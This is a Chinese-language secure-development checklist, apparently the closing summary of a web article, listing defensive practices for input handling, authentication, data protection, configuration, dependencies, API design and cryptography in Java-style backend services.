总结:安全开发 Checklist

┌─────────────────────────────────────────────────────────────────┐
│                    安全开发 Checklist                          │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 输入安全                                                    │
│ □ 所有 SQL 使用预编译 / #{},禁止字符串拼接                     │
│ □ 用户输入:校验 → 清洗 → 编码                                  │
│ □ 文件上传:白名单 + 魔数校验 + 重命名 + 非 Web 目录             │
│ □ SSRF:协议白名单 + 域名白名单 + 禁内网 IP                      │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 认证与授权                                                  │
│ □ 密码用 BCrypt/Argon2 存储                                     │
│ □ Session 登录后重新生成                                        │
│ □ Cookie 设置 HttpOnly + Secure + SameSite                     │
│ □ JWT 设置过期 + 强密钥 + 黑名单机制                             │
│ □ 所有接口做权限校验(后端)                                    │
│ □ 水平/垂直越权校验                                            │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 数据安全                                                    │
│ □ 敏感数据加密存储                                             │
│ □ 日志中无敏感信息                                             │
│ □ API 响应无敏感字段                                           │
│ □ 密钥不硬编码                                                │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 配置安全                                                    │
│ □ 生产环境关闭调试模式                                         │
│ □ 使用安全 Header                                             │
│ □ Actuator 只暴露 health/info                                  │
│ □ 异常信息不返回客户端                                         │
│ □ CORS 严格限定来源                                            │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 依赖安全                                                    │
│ □ 依赖定期扫描(OWASP / Snyk)                                  │
│ □ 及时更新已知漏洞依赖                                          │
│ □ CI/CD 集成安全检查                                           │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 接口安全                                                    │
│ □ 敏感操作做幂等 + 防重放                                      │
│ □ 验证码一次性使用 + 频率限制                                   │
│ □ 关键业务参数从后端获取                                        │
│ □ 竞态条件防护(乐观锁/悲观锁/分布式锁)                         │
├─────────────────────────────────────────────────────────────────┤
│ ✅ 加密安全                                                    │
│ □ 弱加密算法全部替换                                            │
│ □ 安全场景用 SecureRandom                                      │
└─────────────────────────────────────────────────────────────────┘

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐